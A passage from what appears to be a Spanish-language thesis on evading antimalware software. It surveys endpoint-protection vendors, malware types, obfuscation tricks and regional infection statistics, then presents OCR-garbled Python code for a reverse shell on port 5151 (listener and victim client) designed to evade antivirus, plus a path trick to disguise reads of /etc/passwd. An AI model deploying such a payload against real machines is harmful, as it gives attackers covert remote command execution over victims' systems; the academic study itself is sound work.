parametros de calidad que lo posicione en los primeros puestos,
pues a final de cuentas, la idea de los fabricantes es que su solucién

sea la mas utilizada.

2.4.4 Principales soluciones en el mercado
En el mercado actual encontramos muchas soluciones antimalware
denominadas EndPoint Protection (Proteccion de punto final) que
comprenden soluciones antivirus, antimalware, firewall personal,
monitoreo de trafico y EMM (Enterprise Mobility Management), éste
ultimo corresponde a la proteccion de los equipos que son utilizados
en entornos empresariales y que se mantienen en constante

movimiento.
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Dentro de los principales fabricantes, se citardn los que han sido
considerados para el estudio 2017 por parte de Gartner en el

denominado: Cuadrante magico de Gartner EPP 2017: [5]

Tabla 3. Fabricantes de soluciones EPP considerados por Gartner
en 2017

Fabricante Pais de origen

360 Enterprise Security Group | Republica Popular China

AhnLab

Corea del Sur

Bitdefender

Rumania

Carbon Black

Estados Unidos

Comodo Estados Unidos
CrowdStrike Estados Unidos
Cylance Estados Unidos
Eset Eslovaquia
F-Secure Finlandia

G Data Software Alemania

Intel Security

Estados Unidos

Invincea

Estados Unidos

Kaspersky Lab

Rusia

Malware Bytes

Estados Unidos

Microsoft

Estados Unidos

Palo Alto Networks

Estados Unidos
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Panda Security Espafia
SentinelOne Estados Unidos
Sophos Reino Unido
Symantec Estados Unidos
TrendMicro Japdn

Webroot Estados Unidos

Es interesante analizar que la gran mayoria de las soluciones de
seguridad son creadas en Estados Unidos, tal como se lo

demuestra en la siguiente gréfica:

Numero de soluciones EndPoint por paises

oooodloooo oo

Alemania Corea del Eslovaguia Espafia Estados publ
Sur Unides Popular
China

Figura 2.4.- Gréafica del niumero de soluciones EPP consideradas por

el cuadrante magico de Gartner por paises. [5]
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2.5 Programas maliciosos
2.5.1 Definicién de un Software malicioso (Malware)
El término malware proviene de la palabra Malicious Software, en
espafiol se traduce como: Programa malicioso, y en efecto, su
funcién es ejecutar cédigo arbitrario y malicioso que el usuario del
sistema no ha autorizado, con el fin de: borrar, robar, corromper o

alterar la informacion de un equipo.

La definicion que Gary McGraw y Greg Morrisett le dan en su articulo
A report to the Infosec Research Council es “Cualquier codigo
agregado, cambiado o removido desde un sistema con el objetivo
de causar intencionalmente dafio o alterar el funcionamiento del

sistema.” [6]

Por supuesto, la intencion de un programa malicioso es tomar
control de un equipo de computo para operarlo a su antojo, y

dependiendo del fin, le permita obtener un beneficio de ello.

A lo largo del tiempo se ha evidenciado la evolucién del malware,
buscando siempre afectar a la informaciébn en cuanto a la
confidencialidad, integridad y disponibilidad, por ello, en el medio
ambiente informatico se encuentran varios especimenes con
diversas propiedades. Es muy comun confundir el término Malware

con virus, sin embargo, se debe resaltar que un virus es un tipo de
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malware, de la gran cantidad de tipos que comparten la misma

consigna: violentar la informacion.

Frecuentemente se efectla una analogia en cuanto a un virus
bioldgico, pues a medida que pasa el tiempo, evoluciona el virus y
evoluciona el cuerpo que potencialmente lo hospedara. La mutacién
es una de las propiedades que busca un malware, justamente para
evitar ser detectado por el método de deteccion mas clasico: Basado

en firmas.

Por otra parte, se asocia de manera erronea a un equipo infectado,
con un equipo ralentizado, y esto es completamente relativo ya que
el malware que requiere de capacidad de procesamiento para fines
delictivos tratara de no consumir otros recursos en demasia para
pasar desapercibido, a diferencia de otros que corrompen el

sistema, cuyo unico objetivo es afectar al computador.

La evolucion del malware ha ido de la mano con la evolucion de las
soluciones antimalware, por ello, los fabricantes no tan solo buscan
asegurar la informacion local, sino la transferencia de informacion,

el acceso a la red, los dispositivos conectados, etc.

2.5.2 Composicién de un programa malicioso

Es importante conocer cOmo estd compuesto un programa malicioso,

un malware supone un programa cuyas instrucciones estan
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codificadas con el fin de afectar la integridad de un sistema
informatico, esto, buscando afectar alguna vulnerabilidad en el
sistema operativo o en el software de aplicacion en el que se ejecuta,

por ello, podemos describirlo con la figura a continuacion:

Malware

Técnica de
ofuscacion

Payload

Figura 2.5.- Composicion de un malware

Exploit: Programa que explota una vulnerabilidad asociada a un
software de aplicacion o un Sistema Operativo, permitiendo mediante

esta explotacion ejecutar una accion con un privilegio determinado.
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Payload: Programa que, habiéndose explotado una vulnerabilidad,
carga un conjunto de utilidades que permiten la permanencia del

acceso para manipular el sistema.

Técnica de ofuscacion: Procedimiento con el que cuenta un malware
para volverse indetectable, considerando que, al ser descubierto,
podria ser impedido su accionar. Esta técnica no es parte de todos
los programas maliciosos, sin embargo, incluirla representa una

mayor tasa de éxito en el ataque.

En esencia, un malware puede resumirse en estos modulos, es decir,
un exploit por si solo Unicamente explotaria una vulnerabilidad, pero
no cargaria ninguna utilidad, por el contrario, un payload no podria
efectuar nada sin el permiso del usuario, a menos que esté asociado
a un exploit que le asigne accesos de manera ilegitima, y la técnica
de ofuscacion permitiria que el ensamblaje de ambos pueda resultar
indetectable ante una solucién antimalware. Por ello, un exploit
puede cargar varios payloads, y un payload puede ser cargado en

varios exploits, es decir, una estructura completamente modular.

2.5.3 Tipos de Software malicioso (Malware)

En el medio digital en el que estamos inmersos, la cantidad de

amenazas que merodean la red es numerosa, y por ello, se vuelve
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necesario definir cada uno de estas, su funcion y el dafio que podria

ocasionar al usuario final u operador del equipo de cémputo.

Virus: El mas comun de los programas maliciosos, y se caracteriza
por replicarse haciendo copias de si mismo, éste necesita interaccion
del usuario, y al igual que un virus biolégico, no puede vivir sin un

huésped, en este caso: un equipo de computo. [7]

Gusano: Este tipo de malware se caracteriza por efectuar copias de
si mismo, asegurando su supervivencia sin requerir de un usuario
para hacerlo, por ello, es considerado un malware de auto
propagacion ya que se distribuye por redes de datos, correos
electrénicos, contactos, etc. Este, tiene la capacidad de cargar
consigo otro tipo de programas maliciosos, aspecto que lo vuelve

mucho mas dafiino. [7]

Un espécimen muy particular fue conocido como Rabbit, o también
llamado Bacteria, un tipo de gusano dafino que traia consigo otros
especimenes y tenia la propiedad de auto propagacion, pero de una

manera mucho mas acelerada. [8]

Bombas logicas: Este tipo de malware es conocido como el “malware
vengativo”, pues es utilizado en algunos casos por empleados

descontentos [7], se basa en una ejecucién a partir de un disparador
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o trigger, el cual puede ser una instruccion especifica 0 un proceso

en particular. Esto, por supuesto, acompafnado por un payload.

Troyano: Este tipo de malware podria considerarse uno de los mas
peligrosos, debido a que hace uso de un software legitimo para
ocultarse, basado en el caballo de Troya que oculté a cientos de
guerreros, este malware oculta su codigo malicioso en archivos que
lucen completamente legitimos, no se replican a si mismos, pero su

tasa de éxito es grande ya que engafia al usuario final. [7]

Spyware: Cdédigo malicioso cuyo principal objetivo es espiar a la
victima, obtener informacidn sensible o utilizar recursos del equipo
para espionaje (el micréfono o la camara web de la victima), y con

ello, efectuar una potencial extorsion. No se replica por si mismo. [7]

El término spyware fue usado en 1997 como parte de una broma,
haciendo alusién a un programa espia, y afios después se perpetio

como unos de los tipos de amenaza mas conocidos. [8]

Rootkit: Este tipo de malware altera la funcionalidad del Sistema
Operativo mediante un set de herramientas que se ejecutan cuando
determinados procesos son accionados, tomando asi control del

equipo en cuestion. [7]

Un rootkit poco conocido pero altamente funcional en GNU/Linux se

denomina EnyeLKM, escrito por Jacob Williams [9], el cual toma
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posesion de un determinado proceso, que al accionarse, da acceso
al atacante a todo el Sistema Operativo mediante una conexion
reversa, sin embargo, éste dejo de funcionar con la actualizacion 3.x

del kernel de Linux.

Adware: Este tipo de malware tiene el propésito de difundir publicidad
de manera indiscriminada a través de la explotacibn de una
vulnerabilidad, si bien, su principal objetivo no es danar la
informacion del usuario sino mostrar anuncios, la manera como lo

hace representa un hecho ilegal.

Ransomware: Programa malicioso que secuestra la sesion de la
victima, cifra su informacién y solicita dinero a cambio por devolver
dicha informacion, este tipo de amenaza no era conocida hasta que
en septiembre del afio 2013 apareci6é Cryptolocker, el cual infecto a
una serie de equipos alrededor del mundo. Este malware cifraba
archivos no ejecutables (en su gran mayoria archivos de ofimatica) y
solicitaba un valor a cambio, relativo al pais donde se encontraba
[10]. Lo interesante de este malware es que generd una revolucion
en los procedimientos para hacer respaldos, pues dicho codigo
malicioso cifraba con una clave RSA de 2048 bits, lo cual hacia que
sea computacionalmente indescifrable, sin embargo, no se extraia la
informacion, solo se la cifraba, por lo que si no se contaba con un

respaldo, el dafio era irreversible.
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Rogueware: Este tipo de malware se disfraza como un antivirus, el
cual indica al usuario que se encuentra comprometido, esta accion
hace que el usuario acceda a descargar un falso antivirus y
comprometa su equipo. Es muy comudn encontrar amenazas de este

tipo, que tomen por sorpresa a usuarios incautos.

Hibridos: Quizas la variante mas peligrosa, este tipo de malware es
la fusién de varios especimenes de programas maliciosos, lo cual
hace al producto final un malware altamente peligroso. La unién de
un troyano, gusano y spyware es un ejemplo de aquello. Este tipo de
fusiones no eran comunes hasta que un malware afect6 a una central
nuclear, lo cual represent6 el nacimiento del aseguramiento a
infraestructuras de este tipo. EI nombre del hibrido malicioso:

STUXNET.

STUXNET ha sido considerada como la primera arma de ciberguerra,
pues su principal objetivo era comprometer a una central nuclear,
propésito que fue cumplido al atacar a una central ubicada en
Natanz, Iran. Si bien fue sigiloso y no hizo dafio, demostré lo
vulnerable que es la seguridad a nivel industrial, pues se especula
que el principal propésito de STUXNET era retrasar el programa
nuclear, para ello, comprometio la infraestructura sobrescribiendo la
lectura de los sensores en sus turbinas, volviéndose indetectable.

Pudo causar un desastre nuclear pero no lo hizo, no obstante,
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levanto las alertas acerca de la importancia de proteger este punto.

[11]

A partir de esta primera amenaza, se derivaron muchas otras, las
cuales representaron un reto importante en materia de seguridad de

la informacién para infraestructuras criticas.

2.6 Técnicas y estrategias de evasiéon de soluciones antimalware

2.6.1 Técnicas de evasion de soluciones antimalware
Conociendo aspectos claves de la manera como un malware se
compone y se comporta, es importante destacar que las principales
firmas de seguridad buscan evolucionar sus métodos de deteccion
para evitar que sus usuarios se vean afectados. Es por ello que un
atacante conoce como operan dichas soluciones, y lo toma como
punto de partida para asegurar que sus programas maliciosos no

sean detectados.

A partir del exploit (programa malicioso que explota una
vulnerabilidad determinada), y el payload (conjunto de herramientas
para efectuar el ataque después de haber logrado el acceso al
sistema), un atacante busca que su codigo se vuelva invisible, y para

ello recurre a técnicas de evasion, como la ofuscacion.
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Esta técnica es ampliamente utilizada para evadir los principales
métodos de deteccion de una solucion antimalware, incluso llegando
a evadir soluciones como IDS. Pese a que el nombre indica que
basicamente se ofusca el codigo, es algo mas elaborado que eso,
por ello, se nombran las 3 técnicas de ofuscacion utilizadas por un

malware:

Manipulacién de strings mediante ingenieria reversa: Esta técnica

consiste en ofuscar el cédigo malicioso para que devuelva una
cadena de integridad, MD5, SHA o la que utilice una solucién de
antimalware, completamente distinta, y para ello, se utilizan editores
hexadecimales o programas especializados para modificar los
strings a partir del ejecutable. Una muestra sencilla es un cédigo
malicioso que busque extraer el archivo de contraseiias en
GNU/Linux /etc/passwd, las principales soluciones se enfocan en
esa ruta, sin embargo la manipulacibn de esa ruta a:
letc/init.d/../.\passwd efectia exactamente lo mismo, no obstante, al
contener caracteres distintos, hace que se vuelva ilegible para una
solucién basada en firmas, ya que en efecto, el codigo malicioso

seria distinto. [13]

Caodigo polimérfico: Este método es el mas utilizado en la actualidad,

y funciona mediante la ejecucion de un generador polimérfico que

agrega codigo aleatorio al malware original, y con ello, genera una
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mutacion en su codigo, sin que éste sea alterado a nivel funcional.

[12]

La particularidad de este método es que utiliza un descifrador
interno, por lo que el malware se cifra, muta y se descifra

automaticamente antes de ser ejecutado.

Si bien, se altera el cédigo original, no se altera en un 100%, ya que
la funcionalidad se mantiene intacta. Este método depende de un
generador que muta el malware, por ello, dependiendo del

generador es la efectividad de la evasion.

El mas conocido se llama Shikata Ga Nai, (del japonés Es inevitable,
no hay manera de evitarlo) [14], y que resulta uno de los mas
efectivos al ser un codificador polimérfico XOR (Operador booleano
Exclusive OR), el cual consiste en alterar, mediante un nimero de
combinaciones especificas, el cédigo original, aplicando técnicas
incluso de cddigo metamorfico. Consta de tres partes: codificador
polimorfico, para producir una salida diferente, segundo: una cadena
automodificable y tercero: un decodificador para producir una salida

ofuscada completamente diferente a la original. [14]

Cddigo metamarfico: Representa la ultima capa en los mecanismos

de evasion, y esto porque, a diferencia del cédigo polimoérfico, tiene

la capacidad de codificarse y decodificarse por si mismo, esto,
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mediante el uso de algoritmos de Inteligencia Artificial, haciendo de
esta técnica bastante complicada y demandante en cuanto a
conocimientos técnicos. Dado que ciertas técnicas de deteccidn se
basan algoritmos IA, éste también aplica funciones de este tipo, que

lo vuelven indetectable.

Este tipo de técnicas incluso traen consigo médulos antiVM (Anti
Virtual Machines) y anti Sandbox, mediante el uso de funciones
como: deteccion de movimientos del mouse, ingreso de datos por

teclados, etc.

2.7 Estrategias de persuasioén al usuario final

2.7.1 La Ingenieria Social
La Ingenieria Social consiste en manipular al ser humano mediante
diversas técnicas de persuasion a fin de que ejecute acciones
determinadas o divulgue informacién confidencial. Esta ciencia ha
sido ampliamente estudiada y se la considera en este marco de
referencia, ya que, una técnica de evasion aumenta sus
probabilidades de éxito exponencialmente si lleva consigo una
estrategia de persuasion orientada a que el usuario final ejecute la

instruccion sin mayor cuestionamiento.
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La ingenieria social, al igual que una receta de cocina, necesita una
mezcla cuidadosa de lo que se utilizara: “Un pequefio toque de
manipulacion y un pufiado de pretextos y se tiene el plato del
ingeniero social perfecto”, tal como lo describe Christopher

Hadnagy. [15].

Técnicas de persuasion como el phishing o email spoofing hacen
gue el usuario confie en lo que recibe y lo ejecute sin mayor

problema, lo cual se representa en la siguiente figura:

Motivo oy
parala ta! .
probabilida

eiecucion
d de éxito
A A en el ataque
Técnica de Ingenieria
evasion social

Figura 2.6.- Combinacién de evasidn y persuasién en un ataque

En la prueba de concepto a utilizar en el marco de referencia, se
mezclara una técnica de evasion y una estrategia de persuasion

para lograr una mayor probabilidad de éxito.



CAPITULO 3

SITUACION ACTUAL EN LA SEGURIDAD DE LA
INFORMACION

3.1 Introduccion
El mundo de la tecnologia avanza a pasos agigantados, el uso de los
dispositivos con los que contamos en la actualidad hacen que podamos
cumplir con las tareas que tenemos asignadas de manera mas facil y
rapida. Sin embargo, esto conlleva mayores riesgos, y se lo ha podido ver
a lo largo del tiempo. Es importante destacar este aspecto ya que se
evidenciard como el mundo de la tecnologia ha tenido grandes aportes,
pero ha traido consigo grandes riesgos. Estos riesgos merecen ser

estudiados para saber como protegerse ante potenciales ataques.
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3.2 Analisis de estadisticas de Seguridad de la Informacion
3.2.1 Andlisis de la seguridad de la informacion a nivel mundial
Segun el boletin de seguridad del 2016 lanzado por Kaspersky Lab,
el 31,9% de las computadoras con esta solucién antimalware
sufrieron al menos un ataque de malware en el afo, esto
corresponde a que practicamente 4 de cada 10 usuarios fueron

victimas de una amenaza cibernética. [16]

Esto determina un crecimiento bastante preocupante, tal como lo
demuestra también el reporte semestral del 2017 de Cisco, que
indica que las vulnerabilidades en servidores tienden a incrementar
en un 36%, vulnerabilidades en el cliente tienden a incrementar en
un 35%, y vulnerabilidades en la red tiene una tendencia al

incremento del 46%. [17]

Esto ultimo dato supone que los atacantes han descubierto que, al
aprovechar vulnerabilidades criticas en servidores, pueden obtener
informacion mas critica debido a que son de caracter empresarial.
Esta cifra es completamente alarmante, dado que, dicho reporte
muestra como, en referencia al 2015 y 2016, estos cifras tienden solo

a subir. [17]

A esto se suma una cifra que resulta interesante, considerando la

tendencia de las amenazas, ya que, segun el reporte de AV Test, que
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contempla un gran namero de soluciones EndPoint Protection, indica
que diariamente se registran alrededor de 250.000 nuevos
especimenes de malware, sin embargo, aunque representa menos
de 100,000,000, no se compara con cifras del afio 2016 y 2015,

127,000,000 y 144,000,000 respectivamente. [18]

Numero de nuevo malware segtn el
Instituto AV Test 2015-2016-2017

150000000

100000000

50000000

0

Numero de nuevo malware

2014 2015 2016

Afo

Figura 3.1.- Reporte de nuevo malware, segln Instituto AV test [18]

Considerando esto, ha aumentado el numero de ataques a
infraestructuras, pero no corresponde a la creacion de nuevos
programas maliciosos, por lo que podemos inferir que el malware
actual esta evolucionando con técnicas que le permiten mutar su

codigo y reutilizarse para ser mas efectivos.

Considerando estas cifras, es necesario precisar los Sistemas

Operativos que representan la mayor amenaza a nivel mundial, y
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segun cifras de la firma de solucion EndPoint GDATA Security, el
99,1% del malware creado y que han gestionado corresponde al
Sistema Operativo Windows, mientras que el resto corresponde a
Sistemas Operativos menos utilizados por el usuario final como OSX,

y Unix/Linux. [19]

En el 2016, Symantec reportd que el 91% de las brechas de
seguridad reportadas tenian como principal objetivo el robo de
informacion, y dentro de las herramientas mas utilizadas para
cometer este acto, WCE (Windows Credentials Editor) ocupaba el
tercer lugar. Esta herramienta nacié con el objetivo de servir de
manera administrativa a los encargados de una infraestructura de
red, pero fue mal utilizada [20], por ello, es considerada como una

amenaza para la mayoria de soluciones antimalware.

Es evidente que el crecimiento de las afectaciones en materia de
Seguridad Informatica se dan, en su gran mayoria, por el usuario
final, dado que no conoce acerca de procedimientos y estrategias
adecuadas para protegerse de ciberamenazas, esta afirmacion la
corrobora el boletin de seguridad de Cisco, que indica que, a nivel
mundial, el 25% de las empresas que fueron estudiadas estaban
infectadas por el programa Hola [17], dicho programa se descarga
como una extension del navegador y ofrece un servicio VPN (Virtual

Private Network) de manera gratuita, sin embargo, éste usa el ancho
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de banda de la victima para venderlo a potenciales atacantes o

minadores de la criptomoneda Bitcoin. [21]

Dentro del mismo estudio, el 60% de los usuarios con privilegios en
servicios basados en la nube no sale de sus sesiones activas [17], lo
gue supone que cualquier programa malicioso podria capturar

credencial de servicios criticos en la nube manejados por empresas.

Cisco asegura en su boletin que el 38% de los ataques son dirigidos,
es decir, las empresas atacadas no son elegidas de manera
aleatoria, el 34% de empresas de servicio reportaron pérdida de
ingresos en el 2016 a causa de ataques informaticos y el 30% registro
pérdidas de clientes u oportunidades a causa de dichos incidentes.

[17]

Con esto, podemos destacar que los ciberataques representan un
impacto negativo considerable en las empresas tanto a nivel

monetario, como imagen.

A ello, se suma una cifra alarmante, y que proviene del mismo
estudio, en el que se indica que tan solo el 30% de los organismos
publicos a nivel mundial efectia consultorias de auditorias de
seguridad o Penetration Testing para evaluar su robustez en esta

materia y posibles técnicas de mitigacion. [17]
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Si bien, estas cifras son alarmantes, lo que cabe destacar es que a
pesar de que la tendencia del ataque es a la alza, esto no es
directamente proporcional al nimero de nuevos especimenes de
malware, existen mas riesgos en la red, pero no por nuevos

programas maliciosos, sino por la evolucion de éstos.

3.2.2 Analisis de la Seguridad de la Informacion en América Latina
En América Latina se ve una historia similar a la del mundo entero,
sin embargo, varian las razones por las que se dan los ataques

cibernéticos.

El fabricante de soluciones de seguridad ESET liber6 su reporte de
seguridad del 2017, mostrando cifras realmente alarmantes. Dentro
de la muestra consultada que corresponde a mas de 4,000
participantes de 13 paises, la principal preocupacion por parte de las
empresas latinoamericanas respecto a potenciales incidentes de
seguridad corresponde a infecciones por codigos maliciosos,
ocupando el primer lugar con el 56%, y esto, segun los analistas, por
el grado de sofisticacion en los ataques de programas maliciosos que

se ven en los ultimos tiempos. [22]
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En relacion a afios anteriores, el aumento de empresas que afirman
haber tenido un incidente de seguridad en el 2016 ha aumentado en

un 10%, tal como se lo confirma en la siguiente grafica: [22]

Porcentaje de empresas que afirman
haber tenido un incidente de
ciberseguridad

2014 2015 2016

Figura 3.2.- Porcentaje de empresas que afirman haber tenido un

incidente de seguridad. [22]

Y con esta cifra, una tendencia en el 2017 es el aumento del

Ransomware, alcanzando un 32% de incremento. [22]

En Latinoamérica, los incidentes de seguridad, producto de ataques
por codigos maliciosos, ha representado en el 2016 un 49%, lo que
implica que practicamente una de cada dos empresas fueron

victimas de alguna variante de malware. [22]

Nicaragua se posiciona como el pais con el mayor porcentaje de

empresas infectadas, como se lo demuestra en la siguiente figura:
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Infecciones de malware por pais
en el 2016

u México
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Republica Dominicana
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Figura 3.3.- Infecciones de malware por pais en el 2016. [22]

Es interesante considerar que, a pesar del alto nimero de empresas
gue se han visto afectadas por algun tipo de ciberataque, solo el 38%
efectla auditorias externas con el propésito de robustecer su
infraestructura en términos de seguridad [22], asi también, un 37%
de las empresas consideradas en el analisis de ESET indico que

cuentan con el suficiente presupuesto para ciberseguridad.

Es importante destacar que América Latina tiene el mayor porcentaje
de software ilegal instalado, llegando a un 55% del total, lo que
supone que esto puede ser uno de los principales causantes de la

afectacion en cuanto a ataques de tipo malware. [16]
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Otro analisis de la empresa Kaspersky, indica que el 82% de
incidentes de seguridad reportados por su solucién correspondieron
al uso de programas piratas, insercion de dispositivos de
almacenamiento extraible contaminados, u otros medios que no
correspondieron a acceso a Internet [16], por lo que se hace evidente
que lo que sucede en Latinoamérica, es que, el usuario final no
cuenta con el conocimiento especifico para evitar incidentes de

seguridad.

Dado que el estudio de este marco de referencia apunta a la evasion
de soluciones antimalware, se destaca un aspecto dentro del estudio
de la firma ESET, y es que tan solo el 52% de las empresas
encuestadas por su reporte cuentan con una solucion EndPoint
(antimalware), Firewall y Backup, lo que indica que tan solo la mitad
de las empresas en Latinoamérica implementa seguridad por capas.

[22]

Por ello se hace necesario resaltar que el aspecto a considerar es la
concientizacién de los usuarios en una empresa acerca de como
enfrentar una amenaza cibernética, el 40% de las empresas
latinoamericanas realizan actividades de concientizacion de manera
periodica, y de éstas, el 80% no tuvo incidentes de seguridad en el

2016. [22]
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3.2.3 Analisis de la Seguridad de la informacion en el Ecuador
En el Ecuador, el primer aspecto a considerar es el uso de Internet a
nivel nacional, cifras obtenidas por medio del Instituto Nacional de
Estadisticas y Censos (INEC), el 55,6% de la poblacion de Ecuador
ha utilizado Internet en los ultimos doce meses, teniendo un
crecimiento considerable respectos a los anteriores afios, tal como lo

indica la siguiente grafica: [23]

Porcentaje de personas en el Ecuador que
usan Internet
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2012 w2013 m2014 =2015 m2016

Figura 3.4.- Porcentaje de personas en el Ecuador que usan Internet.

[23]

Con estas cifras, se considera que mas de la mitad de los
ecuatorianos tiene acceso a Internet, asi también, se indica que un
total de 4,224,984 habitantes utilizan redes sociales, representando el

24,28% de la poblacién ecuatoriana. [23]
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Estas cifras nos demuestran que Ecuador es un pais en el que
aumenta el nUmero de usuarios en Internet, y es que esta herramienta
se ha vuelto indispensable para cualquier actividad, sin embargo, asi
como hay un crecimiento en el uso de Internet, ha habido un

incremento en los incidentes de caracter cibernético.

Muestra de ello, es que segun el reporte de seguridad del 2017 de
ESET, Ecuador ocupa el primer lugar en paises mas afectados por el
tipo de ataque phishing, y el cuarto lugar en el puesto de los paises
infectados por malware [22]. Esto, definitivamente enciende las
alertas ya que es evidente que el uso del Internet en el Ecuador esta

creciendo desmesuradamente.

Cifras obtenidas por la Policia Nacional del Ecuador demuestran que
el 85% de los delitos informaticos se dan por descuido de los usuarios
en el uso de redes sociales [24], lo cual concuerda con el estudio de
ESET, ya que usuarios incautos son presa facil de ataques tipo

phishing.

Estas cifras, aunque son alarmantes, nos demuestran los puntos
débiles en los que tenemos que mejorar a nivel mundial, continental y
nacional. Los ciberatagues aumentan, pero no los nuevos

especimenes de malware, lo cual implica que la sofisticacién con la
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gue se los programa hace que no sea necesario reescribirlo, sino

aplicar técnicas de evasion para que sean indetectables.

Asi también, las cifras en Latinoamérica indican que la principal causa
de incidentes cibernéticos se da por atagques de malware. Esta
informacion nos lleva a la reflexion de que la seguridad debe ser un
conjunto de capas y no una unica solucién, y por ello es necesario
conocer el alcance que un malware puede tener para saber como

protegernos.



CAPITULO 4
ANALISIS Y DISENO DE LA DEMOSTRACION PROPUESTA

4.1 Técnicas de evasién de una soluciéon antimalware

4.1.1 Evasion mediante un Shell reverso

Anéalisis.-

Un Shell reverso, o conocido también como conexion reversa,
representa la conexion desde la maquina que se busca comprometer
hasta el atacante, por lo general en una infraestructura tecnologica
se controlan los puertos de entrada, pero no los de salida, y por ello,
esta técnica resulta muy efectiva al momento de comprometer un

equipo.

Dado que un malware no solo busca explotar una vulnerabilidad, sino
contar con acceso y con herramientas para gestionar el activo, el uso

de un payload se vuelve imprescindible.
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La intencion de esta investigacion es evadir una solucion
antimalware, por ello se opté por un desarrollo propio, apoyado en
tres guias de programacion fundamentales para la creacion de
payloads maliciosos como son: The Hacker Playbook [25], Black Hat

Python [26], y material del desarrollador Bucky Roberts [27].

Como punto de partida, se efectuard un script cliente que envie un
Shell reverso a un servidor, que también sera un script, ya que debe
estar en modo escucha. El puerto que se utilizara para dicha

conexion serd 5151.

Se pudo haber utilizado aplicaciones de gestion de red que escuchen
la conexion, sin embargo en Python 3.6 (version que se utilizo para
el desarrollo del payload malicioso en la investigacion), se precisa
codificar y decodificar las cadenas de caracteres que se envian y se

reciben.

Se utilizara Python como lenguaje de programacion base dada su
escalabilidad y cantidad de librerias que soportan la gestion de
sockets de red y manejo del Sistema Operativo, se toma como
referencia la conferencia de David Kennedy en BSIDES 2012 [28],
ya que muestra la efectividad y la potencia con la que un payload

malicioso puede ser creado.

Con ello, el esquema que se propone es el siguiente:



65

PC Victima PC Atacante

Shell reverso por
puerto 5151

S

Py SheliClient

PySheliServer

Figura 4.1.- Representacion gréafica del Shell reverso creado para la

investigacion.

Funciones como la de captura de pulsaciones de teclado, captura de
pantalla y otras utilidades podrian ser incluidas [25], sin embargo, la
intencidn es demostrar que se cuenta con el control del Sistema

Operativo con la simple ejecucion del payload.

Se analiz6 la forma de convertir el archivo que se genera en Python
(.py) a un archivo ejecutable (.exe), y se utilizara la herramienta

Pylnstaller version 3.3.

Herramientas a utilizar:

o Python 3.6

o Pyinstaller 3.3

Composicién del payload malicioso:

o PyShellClient

o PyshellServer
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Puerto de escucha:
o TCP/5151
Librerias utilizadas:

o Socket

o Sys

o Os

o Subprocess

Edicién de cbdigo:

o Notepad++

Disefio.-
Disefio de PyShellServer.-

Se procede con el desarrollo del script del servidor, éste, estara en

el equipo atacante y contendra el siguiente codigo:

#! /usr/bin/python
import socket
import sys

W I L B

Figura 4.2.- Librerias utilizadas en PyShellServer.

La libreria socket permite la interaccién con los puertos de red a
utilizar para el Shell reverso, mientras que la libreria sys permite el

uso de variables relacionadas de manera directa con el intérprete.
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5 # Creacion de socket

6 def socket_create():

i E try:

8 global host

9 global port

10 global =

11 host =

12 port = 5151

. s = socket.socket()

14 ? except socket.error as msg:
15 print("Socket creation error: " + str{msg))

Figura 4.3.- Definicion de funcion socket_create.

Se define la funcidon “socket create” para habilitar la variable de tipo
global host, port y s (esta ultima contiene el socket obtenido de la
libreria anteriormente definida), y se lo define entre un Try para

efectuar un atrapado de error.

18 # Enlazar el socket al puerto, el script quedara en modo Listening
19 def socket_bind():

20 [ try:

21 global host

22 global port

23 global s

24 print("Binding socket to port: " + str(port))

25 s.bind((host, port))

26 s. Listen(5)

27 H except socket.error as msgi

28 print("Socket binding error: " + str(msg) + "\n" + "Retrying..."
79 - socket_bind()

Figura 4.4.- Modo Listening del script.

Se enlaza el socket generado al puerto, esté sera el que sea
asignado en el momento de la ejecucion. El script quedard en modo
Listening (escucha), esperando la peticiébn del script cliente que

posteriormente se ejecutara, el valor s.listen de 5 indica la gestién de
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la cola de conexiones pendientes, con la posibilidad de descartarlas

en caso de estar saturado.

send_commands (conn)
conn.close()

32 # Se establece la conexion con el cliente

35! def socket accept():

34 conn, address = s.accept()

35 print("Connection has been established " 4+ "IP " + address[0] + " Port " + str(address[1]))
36 print("Type commands as you are in front of a DOS window")

37

3

@

Figura 4.5.- Funcidn para el establecimiento de la conexién.

La conexién ha sido establecida, y la funcion muestra por pantalla la
direccion IP y el puerto, contenidos en la respectiva variable address.
Se indica que se puede interactuar con el intérprete y se llama a la

funcién send_commands.

40 # Envio de comandos encodeados

41 def send_commands(conn):

42 E while True:

43 cmd = dnput()

44 H if cmd == 'quit's

45 conn.close()

46 s.close()

. sys.exit()

48 H if len(str.encode(cmd)) > 0%

49 conn.send(str.encode(cmd))

50 client_response = str(conn.recv(1024), "utf-8")
S print(client_response, end="")

Figura 4.6.- Funcion de envio de comandos a través del Shell

reverso.

Al haberse establecido la conexion, la funcibn send _commands

permite el envio de comandos a través del puerto abierto hacia el
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equipo victima, la variable cmd toma el valor del ingreso y se
especifica que si hay un “quit” (generado por la combinacion de teclas
ctrl+c), finalice, caso contrario, que comience la transferencia de
datos codificados con UTF-8, propio de las nuevas versiones de
Python. [29]
def main():

socket_create()

socket_bind()
socket_accept()

[0 T i [ i Y O B i [ B |
=] 1 LN

[ I e R &

main()

Figura 4.7.- definicion de la funcion main.

Se define la funcién main, encargada de invocar a las que
previamente se han creado, con ello finaliza el script para el

servidor llamada PyShellServer.
Disefio de PyShellClient.-

Se procede con el desarrollo del script del cliente, éste, sera

ejecutado en el equipo de la victima.
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#1/usr/bin/pythor

import socket, subprocess, os

HOST=

PORT=5151

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect( (HOST,PORT) )

while True:

#Para zarnos por directo
if data[:2].decode( )y == :
os.chdir(data[31].decode( N
#59 1o a es mayor a 8, ejec
i len
pr apen(datal:].decode( ), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE
read() + proc.stderr.read()
)

#Encodeo de en el path de ruta y caracter
s.send(str.encode(output_str + str(os.getcwd()) + )
siclose()

Figura 4.8.- Cédigo del script PyShellClient.

La libreria socket permite la interaccion con los puertos a utilizar entre
el servidor y el cliente, la libreria subprocess nos permite trabajar con
ordenes directas sobre el Sistema Operativo y la libreria os permite

acceder a funcionalidades que dependen del Sistema Operativo. [29]

Se define como variable HOST y PORT una direccion IP y puerto
especificos respectivamente, y se habilita la variable S contiene la
gestion de sockets necesario para la interaccion. Posterior a ello, se
indica que se empiezan a recibir fragmentos de 1024 bytes y se

condiciona lo siguiente:

En caso de que se ingrese el comando cd, este devolvera las 3
primeras letras de dicho comando decodificadas en UTF-8, esto
debido a que el espacio en blanco al digitar el comando “cd ..

devolvera un error por caracter invalido.
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La siguiente condicién es para todo el ingreso de datos con longitud
